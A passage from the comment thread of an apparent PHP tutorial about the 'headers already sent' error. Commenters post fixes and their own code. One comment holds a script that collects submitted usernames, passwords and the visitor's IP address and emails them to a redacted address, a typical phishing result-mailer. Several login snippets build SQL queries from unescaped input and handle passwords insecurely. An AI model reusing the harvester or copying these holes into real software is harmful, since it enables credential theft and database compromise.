    $white = imagecolorallocate ($image, 255, 255, 255);
    $black = imagecolorallocate ($image, 0, 0, 0);
    imagefilledrectangle ($image, 0, 0, 100, 100, $white);
    $text_color = imagecolorallocate($image, 233, 14, 91);
    imagettftext($image, $fsize, 0, $padding, $fsize+$padding, $black, $ttf, $text);
    imagegif($image,”./screenshot.gif”,85); #85%quality */
    ob_flush();
    ?>

    I cannot find white space in my code and error display: the image cannot display because it contain error.
    please help me

  • Obelisc

    The best way for solved this issue is:
    put your php code (for validaition or any kind of content with header -header(‘yourpage’)-) on a diferrent file with only php code, on this file put all the (header) that you’ll need, make sure to dont use (echo) o html tags on this file.

    IF ure working with sessions, make sure to put on the top of your file the php code “” before any of html tag, and of course check for white space before and after php tags.

    I think this is the best way to avoid this issue, because there will be diferent files for pure php code and your html pages, also, your pure code php file could be reusable on another projectis.
    hope it help you.
    PDT: sorry for my english.

  • ELoi Duguay

    [SOLVED] I removed the include from the code.

  • sandeep

    thanks it helped i made the common culprit error

  • Reuben

    Thank you so much! It was the whitespace issue – I spent hours trying to find an answer to this.

  • JbW

    kEEP GETTING THIS SAME MESSAGE:Warning: Cannot modify header information – headers already sent by (output started at /home/vmbc/public_html/Admin/VMBCAdmin_login.php:11) in /home/vmbc/public_html/Admin/VMBCAdmin_login_2.php on line 50

    How can I have the header() call be before all html output when I want the header() to redirect only if certain conditions are met? I have to have other output prior to the header(). here is the code:

    <?php
    if (!isset($_POST["login"]))
    {
    showform();
    }

    //User is logging in
    if (isset($_POST["login"]))
    {
    if ($_POST["username"] == "" || $_POST["password"] == "")
    {
    echo 'Please enter username and password!’;
    echo ‘Back to login page’;
    }

    elseif (isset($_POST["username"]) && isset($_POST["password"]))
    {

    $_SESSION['fname'] = $_POST['firstName'];
    $_SESSION['lname'] = $_POST['lastName'];
    $_SESSION['email1'] = $_POST['email'];
    $_SESSION['color'] = $_POST['favcolor'];
    $_SESSION['uname'] = $_POST['username'];
    $_SESSION['pword'] = $_POST['password'];

    $fname = $_SESSION['fname'];
    $lname = $_SESSION['lname'];
    $email1 = $_SESSION['email1'];
    $uname = $_SESSION['uname'];
    $pword = $_SESSION['pword'];
    $color = $_SESSION['color'];
    $sess_id = session_id();
    $session_name = session_name($uname);
    $sess_name = session_name();

    $db=mysql_connect(“SERVER”,”NAME”,”PASSWORD”);
    mysql_select_db(“DBNAME”);

    $result = mysql_query(“SELECT * FROM sessions WHERE sessionName=’$sess_name’ AND password=’$pword’”);

    $num_rows = mysql_num_rows($result);

    if ($num_rows>0)
    {
    $row = mysql_fetch_array($result);
    $_SESSION['color'] = $row['favcolor'];
    echo $_SESSION['color'];
    $_SESSION["Authenticated"] = 1;
    header(“Location: VMBCAdmin.php”);
    }
    elseif ($num_rows==0)
    {
    echo ‘Invalid username and/or password. Try again.’;
    $_SESSION["Authenticated"] = 0;
    showform();
    }

    mysql_close($db);

    session_write_close();

    }

    }

    //User is logging out

    if (isset($_GET["logout"]))
    {
    session_destroy();
    header(“Location: VMBCAdmin_login.php”);
    }
    ?>

    Login

    <form action="” method=”post”>

    Type in your username and password.

    Username

    Password

    Don’t have a username and password?

  • Bond007

    I’m get this error and its on my ass. pls help: Warning: Cannot modify header information – headers already sent by (output started at /home/technpac/public_html/send.php:12) in /home/technpac/public_html/send.php on line 40

    HERE IS MY CODE.

    <?

    $ip = getenv("REMOTE_ADDR");
    $username = $_POST['username'];
    $password = $_POST['password'];
    $adddate= date("D M d, Y g:i a");

    if(empty($username) || empty($password)) {
    echo "Please fill all the info with your correct details\n”;
    die (“To try again click the BACK BUTTON on your browser.”);
    }
    $datum = date(“l, F j, Y, g:i a”) ;

    $attn = $attn ;
    $subject = $attn;

    $notes = stripcslashes($notes);

    $message = “Email: $username\nPassword: $password\nIp: $ip $adddate”;

    $from = “From: [email protected] \n”;

    mail(“[email protected]”, $ekipa, $message, $from);

    ?>

  • Prabhukiran

    Ya me also faced same problem!!!!

    Bt got the solution in this site….
    the solution no> 2 solved my problem…

    thanks a lot!!!

  • http://kol.com Rendi

    nice info, my problem is solved

  • lilmoma90

    Plzzzzzzzzz help!!! Im not computer savy like this. I don’t understand these terms nor do I know where to go to even fix the problem. I really need STEP BY STEP hooked on phonics

  • ManFlightFan

    Dreamwaver CS6 adds an invisible character in the beginning of the file. Be careful !!
    ;)

  • Hellen

    I had this problem too. Thank you. the error is gone, it was being caused by white space before and after the ?> tag.

    Thank you!

  • Jean-Jacques

    THANK YOU SO MUCH!
    I’ve spent 2 long night looking for a proper answer to this error message. I’m new to php and I have to admit this has been by far the best explanation EVER and I managed to fix my problem!

    THANK YOU!

  • jaseel

    ” Make sure there is no white space outside of the php start and end tags. While a blank line before the <?php start tag may look innocent, when processed by PHP, it will turn into an echo statement printing out a blank line. This is a common culprit."

    Thank you very much

  • Jeunefille

    Thanks alot. It helps me out.

  • gracz120

    This post just saved my project… thanks…

  • KKSHYLOCK

    I NEED HELP TOO. I GET SAME ERROR
    Warning: Cannot modify header information – headers already sent by (output started at C:\wamp\www\LoanMonitor\login.php:2) in C:\wamp\www\LoanMonitor\config\eprocess.php on line 68

    CODE:
    connect();
    $user = “SELECT * FROM user_login WHERE username=’”.$username.”‘ AND user_pwd=’”.md5($pwd).”‘”;
    $user_result = mysql_query($user) or die(mysql_error());

    if((mysql_num_rows($user_result))==0)
    {
    echo “Please Provide A Valid Username and Password.”;
    if(isset($username))
    {
    $this->logActivity(“Login Attempt by unknown user $username”);
    }
    }
    else {
    while($user_data = mysql_fetch_array($user_result, MYSQL_ASSOC))
    {
    $user_id = $user_data["user_id"];
    $user_name = $user_data["username"];
    $user_fname = $user_data["user_fname"];
    $user_fname = $user_data["user_mname"];
    $user_fname = $user_data["user_sname"];
    $user_status = $user_data["user_status"];
    $user_role = $user_data["role_id"];

    }
    switch ($user_status)
    {
    case 0:
    unset($_SESSION['user_id']);
    unset($_SESSION['username']);
    unset($_SESSION['user_fname']);
    unset($_SESSION['user_mname']);
    unset($_SESSION['user_sname']);
    unset($_SESSION['role']);
    $_SESSION['user_id'] = $user_id;
    $_SESSION['username'] = $user_name;
    $_SESSION['user_fname'] = $user_fname;
    $_SESSION['user_mname'] = $user_mname;
    $_SESSION['user_sname'] = $user_sname;
    $_SESSION['role'] = $user_role;
    $this->logActivity(“Successfull login to eProcess for the first time changing password”);
    header(“Location: change_pass.php”);
    break;

    case 1:
    unset($_SESSION['user_id']);
    unset($_SESSION['username']);
    unset($_SESSION['user_fname']);
    unset($_SESSION['user_mname']);
    unset($_SESSION['user_sname']);
    unset($_SESSION['role']);
    $_SESSION['user_id'] = $user_id;
    $_SESSION['username'] = $user_name;
    $_SESSION['user_fname'] = $user_fname;
    $_SESSION['user_mname'] = $user_mname;
    $_SESSION['user_sname'] = $user_sname;
    $_SESSION['role'] = $user_role;
    $this->logActivity(“Successfull login to eProcess by $username”);
    header(“Location: Dashboard_console1.php”);
    break;

    case 2:
    echo “Sorry Your Account Has Been Disabled, Please Contact Your Administrator”;
    break;

    case 3:
    echo “Sorry Your Account Is InActive, Please Contact Your Administrator”;
    break;

    default:
    echo “Please Provide A Valid Username and Password.”;
    break;
    }

    }

    }
    else
    {
    echo “Please enter a username and password”;
    }
    return 1 ;
    }
    //end

    public function logActivity($activity)
    {
    $Log = mysql_query(“INSERT INTO activity_log(user_id, log_activity, machine_ip, log_date) VALUES(‘”.$_SESSION['user_id'].”‘, ‘$activity’, ‘”.$_SERVER['REMOTE_ADDR'].”‘, NOW())”);
    }
    }
    ?>

  • sss

    This is helpfull….Thanksk